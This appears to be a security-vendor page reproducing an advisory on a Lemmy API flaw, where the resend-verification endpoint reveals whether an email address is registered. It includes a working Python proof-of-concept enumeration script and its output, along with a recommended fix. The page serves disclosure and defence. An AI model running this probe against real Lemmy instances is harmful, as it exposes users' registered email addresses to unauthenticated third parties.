Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ GHSA-qxrw-f6fh-34r7 — lemmy-api

⚪ Unknown ✅ No Known Exploit CWE-204 OSV
N/A
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Lemmy resend-verification endpoint exposes registered email addresses to unauthenticated users

Summary

The unauthenticated resend-verification endpoint returns different responses for registered and unregistered email addresses. A malicious third party can submit candidate addresses to /api/v4/account/auth/resend_verification_email and distinguish accounts from misses.

Details

resend_verification_email() looks up the submitted address and returns the lookup error to the caller:

```rust

let local_user_view = LocalUserView::find_by_email(&mut context.pool(), &email).await?;

check_local_user_valid(&local_user_view)?;

```

The password reset endpoint already uses a safer pattern. It discards lookup errors and returns success, which prevents the same account-discovery channel.

Proof of Concept

The following script creates one user and probes that address plus a missing address.

```python

import requests, random, string

BASE = "http://127.0.0.1:8536/api/v4" # change to the target Lemmy URL

ADMIN_USER = "lemmy"

ADMIN_PASS = "lemmylemmy"

PASSWORD = "Password123456!"

def post(path, **body):

return requests.post(BASE + path, json=body)

suffix = "enum" + "".join(random.choice(string.ascii_lowercase) for _ in range(6))

admin = post("/account/auth/login", username_or_email=ADMIN_USER, password=ADMIN_PASS).json()["jwt"]

requests.put(BASE + "/site", headers={"Authorization": "Bearer " + admin},

json={"registration_mode": "open", "email_verification_required": False})

email = "alice" + suffix + "@example.test"

post("/account/auth/register", username="alice" + suffix, password=PASSWORD,

password_verify=PASSWORD, email=email).raise_for_status()

for candidate in [email, "missing" + suffix + "@example.test"]:

r = post("/account/auth/resend_verification_email", email=candidate)

print(candidate, "HTTP", r.status_code, r.text[:300])

```

Output:

```text

[email protected] HTTP 200 {"success":true}

[email protected] HTTP 404 {"error":"not_found","cause":"Record not found"}

```

Impact

A malicious third party can enumerate registered email addresses without authentication. The endpoint uses the registration rate limit bucket, not an endpoint-specific anti-enumeration limit, so the attacker can automate probes across candidate address lists. The response also distinguishes missing accounts from banned or deleted accounts because check_local_user_valid() returns separate error types.

Recommended Fix

Use the password-reset pattern for resend verification. Move the lookup and email-send work into a helper, ignore helper errors in the handler, and always return {"success": true} for syntactically valid input.

*Found by [aisafe.io](https://aisafe.io)*

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. Rated impact: confidentiality low, integrity none, availability none.

Weakness class

GHSA-qxrw-f6fh-34r7 is classified as CWE-204: Observable Response Discrepancy. The product provides different responses to incoming requests in a way that reveals internal state information to an unauthorized actor outside of the intended control sphere.

Affected software

GHSA-qxrw-f6fh-34r7 is recorded against 1 package.

  • lemmy-api

Timeline and source

Published on 6 May 2026 and last revised on 7 May 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Web)
github.com (Package)

Details

Severity Unknown
CVSS Score N/A
CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
CWE CWE-204
Public Exploit ✅ No
Source OSV
Published 2026-05-06
Updated 2026-08-20
Modified 2026-05-07
Fix URL N/A

Affected Packages

Software From version Fixed in
lemmy-api

Similar Threats

Free Vulnerability Check

Is your site affected by GHSA-qxrw-f6fh-34r7?

BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against GHSA-qxrw-f6fh-34r7 and other known CVE records.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.